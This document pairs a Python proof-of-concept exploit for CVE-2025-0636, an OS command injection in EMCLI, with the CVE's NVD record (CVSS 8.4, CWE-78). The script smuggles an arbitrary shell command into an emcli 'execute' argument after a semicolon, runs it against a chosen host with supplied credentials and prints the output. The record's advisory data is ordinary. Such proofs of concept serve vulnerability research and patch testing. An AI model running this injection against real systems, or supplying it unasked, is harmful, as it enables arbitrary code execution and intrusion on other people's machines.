CVE-2025-0636

# CVE-2025-0636 - EMCLI OS Command Injection PoC # Vulnerability: Improper neutralization of special elements used in an OS command # Impact: Arbitrary Code Execution import subprocess import sys def exploit_emcli(target_host, username, password, command): """ PoC for CVE-2025-0636: EMCLI OS Command Injection Exploits improper input sanitization in EMCLI to achieve RCE. """ # The vulnerable EMCLI command accepts user-supplied input # that is passed directly to the OS shell without proper sanitization # Malicious payload: inject OS commands via shell metacharacters # Example: terminate the legitimate command and execute arbitrary code malicious_payload = f"legit_arg; {command}" # Construct the EMCLI command with injected payload emcli_cmd = [ "emcli", "-host", target_host, "-username", username, "-password", password, "execute", malicious_payload # Unsanitized input leads to command injection ] print(f"[*] Targeting EMCLI on {target_host}") print(f"[*] Injecting command: {command}") try: result = subprocess.run(emcli_cmd, capture_output=True, text=True, timeout=30) print(f"[+] Output: {result.stdout}") if result.stderr: print(f"[-] Error: {result.stderr}") return result.returncode == 0 except Exception as e: print(f"[-] Exploit failed: {e}") return False if __name__ == "__main__": # Example usage target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100" user = sys.argv[2] if len(sys.argv) > 2 else "admin" pwd = sys.argv[3] if len(sys.argv) > 3 else "password" cmd = sys.argv[4] if len(sys.argv) > 4 else "id" exploit_emcli(target, user, pwd, cmd)

{"cve": {"id": "CVE-2025-0636", "sourceIdentifier": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf", "published": "2025-10-13T07:15:48.883", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "EMCLI contains a high severity vulnerability where improper neutralization of special elements used in an OS command could be exploited leading to Arbitrary Code Execution."}], "metrics": {"cvssMetricV31": [{"source": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}]}, "weaknesses": [{"source": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.ericsson.com/en/about-us/security/psirt/cve-2025-0636", "source": "85b1779b-6ecd-4f52-bcc5-73eac4659dcf"}]}}